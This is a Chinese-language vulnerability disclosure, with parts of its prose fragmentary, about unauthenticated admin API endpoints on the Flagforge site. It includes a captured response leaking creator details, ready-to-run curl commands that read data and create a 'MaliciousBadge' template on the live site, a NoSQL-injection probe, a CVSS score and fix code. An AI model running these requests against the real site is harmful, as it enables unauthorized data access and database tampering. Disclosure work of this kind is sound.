Flagforge 应用程序(https://flagforge.xyz)在其管理 API 端点中暴露了严重漏洞,具体为 /api/admin/badge-templates(GET)和 /api/admin/badge-templates/create(POST)。这两个端点均缺少身份验证和授权控制,允许未经身份验证的用户检索敏感的徽章模板数据,并在 MongoDB 数据库中创建任意模板。这可能导致未经授权的数据泄露、数据库污染或徽章系统被滥用(例如,创建恶意或垃圾模板)。
/api/admin/badge-templates:
badgeTemplates 集合中的所有徽章模板的 JSON 数组。_id、name、description、icon、color、isActive、createdBy、createdAt、updatedAt 和 __v。 x0w1z ~ curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
/api/admin/badge-templates/create:
name、description、icon、color、isActive 和 createdBy。name、description 和 icon 的存在性进行最小化验证检查,并确保不存在重复的 name。const templateDoc = {
name: name.trim(),
description: description.trim(),
icon: icon.trim(),
color: color || '#8B5CF6',
isActive: isActive !== undefined ? isActive : true,
createdAt: new Date(),
createdBy: createdBy || 'unknown'
};
const result = await db.collection('badgeTemplates').insertOne(templateDoc);
Lagzen Thakuri、[email protected])和元数据,从而可能被用于侦察或网络钓鱼。?name[$ne]=test),则可能存在漏洞。name 和 createdBy,可能被滥用于日志垃圾信息或注入。AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
https://flagforge.xyz)/api/admin/badge-templates(GET)和 /api/admin/badge-templates/create(POST)。badgeTemplates 集合。server: Vercel 标头推断)。NextRequest/NextResponse 语法推断为 Next.js 13+)。@/utlis/db 连接工具)、Next.js。createdBy)和元数据(createdAt、updatedAt),可能被用于社会工程或定向攻击。检索敏感数据(GET):
curl https://flagforge.xyz/api/admin/badge-templates
createdBy(例如,[email protected])等敏感字段。创建未经授权的模板(POST)并删除模板(DELETE):
curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
-H "Content-Type: application/json" \
-d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
badgeTemplates 集合中创建一个新模板。潜在的 NoSQL 注入(GET,如果支持查询参数):
curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
// POST 端点示例中间件
export async function POST(request: NextRequest) {
const authHeader = request.headers.get('authorization');
if (!authHeader || !verifyToken(authHeader)) { // 实现 verifyToken
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// ... 现有代码 ...
}
createdBy)。